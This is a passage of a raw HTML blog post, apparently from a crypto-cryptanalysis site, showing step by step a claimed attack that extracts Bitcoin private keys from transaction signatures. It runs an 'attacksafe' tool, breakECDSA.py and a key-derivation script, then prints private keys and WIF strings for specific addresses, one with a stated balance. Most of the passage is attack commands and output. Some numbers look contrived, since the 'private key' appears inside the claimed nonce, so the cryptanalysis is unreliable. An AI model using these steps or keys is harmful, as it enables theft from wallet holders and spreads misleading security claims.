class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-47-1024x262.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1649\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eWe launched this attack from\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eand the result was saved to a file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow to see the successful result, open the file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-46-1024x374.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1647\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eDeployments ECDSA:\n\nSecretKey = 0xa402dc224f712e09602b06c595f272f3028a6a6f6ef174708aac8121c40e8545\n\nRawTX = 0100000001794e79fc042a7644cc4deb6e7858416dd8b898fe418b2894f8d3772ce8d132a0180000006a473044022048771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba502202756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be701210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff010c03000000000000232103d68f90ba81455256cb7a0df14fb3930d6df61393207f2f3e71659414d296e0f0ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eWe see an inscription\u0026nbsp;\u003ccode\u003e\"Deployments ECDSA\"\u003c/code\u003ethat means a critical vulnerability in the Bitcoin blockchain transaction.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eSecretKey value in HEX format, this is our secret key \"K\" (NONCE):\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s check with a\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script\u003ccode\u003epoint2gen.py\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://pypi.org/project/ECPy/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eLet’s use the ECPy\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;elliptic curve library\u0026nbsp;:\u003c/p\u003e\n\n\n\n\u003cp\u003eNow let’s run the script by specifying\u0026nbsp;\u003ccode\u003eSecret Key \"K\" (NONCE)\u003c/code\u003e:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 point2gen.py 0xa402dc224f712e09602b06c595f272f3028a6a6f6ef174708aac8121c40e8545\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-48-1024x86.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1651\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003e(0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5 , 0x2c4374cfc4d21df60a3e7592c8ec0ca98640af2adc89276f75d80e65381a36ec)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eChecking the coordinates of a point\u0026nbsp;\u003ccode\u003eEC (secp256k1)\u0026nbsp;\u003c/code\u003ewith a signature value\u003ccode\u003eR\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5\nS = 0x2756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be7\nZ = 0xa402dc224f712e09602b06c595f272f3e09408f052d8fba3d88609bbbb150139\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR          =    0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5\npoint2gen  =   (0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5 , 0x2c4374cfc4d21df60a3e7592c8ec0ca98640af2adc89276f75d80e65381a36ec)\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eALL CORRECT!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0xa402dc224f712e09602b06c595f272f3028a6a6f6ef174708aac8121c40e8545\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow knowing the secret key, we can get the private key to the Bitcoin Wallet:\u003ccode\u003e12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s use\u0026nbsp; the\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script:\u0026nbsp;\u0026nbsp;\u003ccode\u003ecalculate.py\u003c/code\u003e\u0026nbsp;\u0026gt; \u0026gt; \u0026gt; Get the Private Key\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s open the code and add all the value of the signatures\u003ccode\u003e\u003cstrong\u003eK, R, S, Z\u003c/strong\u003e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003edef h(n):\n    return hex(n).replace(\"0x\",\"\")\n\ndef extended_gcd(aa, bb):\n    lastremainder, remainder = abs(aa), abs(bb)\n    x, lastx, y, lasty = 0, 1, 1, 0\n    while remainder:\n        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)\n        x, lastx = lastx - quotient*x, x\n        y, lasty = lasty - quotient*y, y\n    return lastremainder, lastx * (-1 if aa \u0026lt; 0 else 1), lasty * (-1 if bb \u0026lt; 0 else 1)\n\ndef modinv(a, m):\n    g, x, y = extended_gcd(a, m)\n    if g != 1:\n        raise ValueError\n    return x % m\n    \nN = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\n\n\nK = 0xa402dc224f712e09602b06c595f272f3028a6a6f6ef174708aac8121c40e8545\nR = 0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5\nS = 0x2756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be7\nZ = 0xa402dc224f712e09602b06c595f272f3e09408f052d8fba3d88609bbbb150139\n\n\nprint (h((((S * K) - Z) * modinv(R,N)) % N))\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eThe script will calculate the private key using the formula:\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivkey = ((((S * K) - Z) * modinv(R,N)) % N)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eLet’s run the script:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 calculate.py\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-49.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1653\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivKey = 028a6a6f6ef174708aac8121c40e8545def4e73d5dd98f8a343f083a49fca03d\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s open bitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;and\u0026nbsp;check:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eADDR: 12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\nWIF:  KwJedezSt21uB3ZoHvzkWbcad4VLaJXu8467Jw58j47s4cseQJrk\nHEX:  028a6a6f6ef174708aac8121c40e8545def4e73d5dd98f8a343f083a49fca03d\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/002-2.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1691\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://www.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\"\u003ehttps://www.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivate Key Found!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/002-addr.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1655\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ca href=\"https://www.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003ccode\u003ewww.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eBALANCE: $ 635.44\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e№3\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eWith detailed cryptanalysis, we also found a critical vulnerability in Bitcoin Address:\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859\"\u003ehttps://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\"\u003ehttps://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-4-1024x201.png\" alt=\"WhiteBox Attack\" class=\"wp-image-1531\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-5-1024x200.png\" alt=\"WhiteBox Attack\" class=\"wp-image-1533\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003ePrepare RawTX for the attack\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859\"\u003ehttps://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-50-1024x142.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1656\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eRawTX = 01000000015c55f614688adf76c9186a89af07d4aca2aba8d612d6b445e8bd500bef21dac62b0000006a47304402207f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d0220712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff01c6020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eNow we need to get all R, S, Z values ​​from all vulnerable transactions\u003c/h2\u003e\n\n\n\n\u003cp\u003eLet’s use the breakECDSA.py script\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython2 breakECDSA.py 01000000015c55f614688adf76c9186a89af07d4aca2aba8d612d6b445e8bd500bef21dac62b0000006a47304402207f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d0220712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff01c6020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-51-1024x213.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1658\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d\nS = 0x712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677\nZ = 0x2a3395f1143929b17c0dd24f89fc6eceee3d099c2286b7d1f147886ca30e5a7d\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo get the secret key from a vulnerable ECDSA signing transaction, let’s add the data\u0026nbsp;\u003ccode\u003eRawTX\u003c/code\u003eto a text document and save it as a file\u003ccode\u003eRawTX.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e01000000015c55f614688adf76c9186a89af07d4aca2aba8d612d6b445e8bd500bef21dac62b0000006a47304402207f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d0220712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff01c6020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLaunch\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eusing software\u003ccode\u003e“ATTACKSAFE SOFTWARE”\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-52-1024x268.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1660\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eWe launched this attack from\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eand the result was saved to a file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow to see the successful result, open the file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-53-1024x376.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1662\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eDeployments ECDSA:\n\nSecretKey = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc\n\nRawTX = 01000000015c55f614688adf76c9186a89af07d4aca2aba8d612d6b445e8bd500bef21dac62b0000006a47304402207f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d0220712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff01c6020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eWe see an inscription\u0026nbsp;\u003ccode\u003e\"Deployments ECDSA\"\u003c/code\u003ethat means a critical vulnerability in the Bitcoin blockchain transaction.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eSecretKey value in HEX format, this is our secret key \"K\" (NONCE):\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s check with a\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script\u003ccode\u003epoint2gen.py\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://pypi.org/project/ECPy/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eLet’s use the ECPy\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;elliptic curve library\u0026nbsp;:\u003c/p\u003e\n\n\n\n\u003cp\u003eNow let’s run the script by specifying\u0026nbsp;\u003ccode\u003eSecret Key \"K\" (NONCE)\u003c/code\u003e:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 point2gen.py 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-54-1024x87.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1663\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003e(0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d , 0xe4eedac586ca23bf57a44e5de537e097ea28205a4eeef93c51fe2ee2b783280e)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eChecking the coordinates of a point\u0026nbsp;\u003ccode\u003eEC (secp256k1)\u0026nbsp;\u003c/code\u003ewith a signature value\u003ccode\u003eR\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d\nS = 0x712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677\nZ = 0x2a3395f1143929b17c0dd24f89fc6eceee3d099c2286b7d1f147886ca30e5a7d\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR          =    0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d\npoint2gen  =   (0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d , 0xe4eedac586ca23bf57a44e5de537e097ea28205a4eeef93c51fe2ee2b783280e)\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eALL CORRECT!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow knowing the secret key, we can get the private key to the Bitcoin Wallet:\u003ccode\u003e15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s use\u0026nbsp; the\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script:\u0026nbsp;\u0026nbsp;\u003ccode\u003ecalculate.py\u003c/code\u003e\u0026nbsp;\u0026gt; \u0026gt; \u0026gt; Get the Private Key\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s open the code and add all the value of the signatures\u003ccode\u003e\u003cstrong\u003eK, R, S, Z\u003c/strong\u003e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003edef h(n):\n    return hex(n).replace(\"0x\",\"\")\n\ndef extended_gcd(aa, bb):\n    lastremainder, remainder = abs(aa), abs(bb)\n    x, lastx, y, lasty = 0, 1, 1, 0\n    while remainder:\n        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)\n        x, lastx = lastx - quotient*x, x\n        y, lasty = lasty - quotient*y, y\n    return lastremainder, lastx * (-1 if aa \u0026lt; 0 else 1), lasty * (-1 if bb \u0026lt; 0 else 1)\n\ndef modinv(a, m):\n    g, x, y = extended_gcd(a, m)\n    if g != 1:\n        raise ValueError\n    return x % m\n    \nN = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\n\n\nK = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc\nR = 0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d\nS = 0x712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677\nZ = 0x2a3395f1143929b17c0dd24f89fc6eceee3d099c2286b7d1f147886ca30e5a7d\n\n\nprint (h((((S * K) - Z) * modinv(R,N)) % N))\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eThe script will calculate the private key using the formula:\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivkey = ((((S * K) - Z) * modinv(R,N)) % N)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eLet’s run the script:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 calculate.py\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-55.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1664\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivKey = 16f2eaf0c267f036f926d0b1332c05f244427c65ce70a11b96842bf1a8221301\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s open bitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;and\u0026nbsp;check:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eADDR: 15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\nWIF:  KwzKYYfPTrdAZA5m1kxs4WAjSWTuJRnD2ANKHGUugibgFBP4oDSG\nHEX:  16f2eaf0c267f036f926d0b1332c05f244427c65ce70a11b96842bf1a8221301\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/003-1.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1693\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca 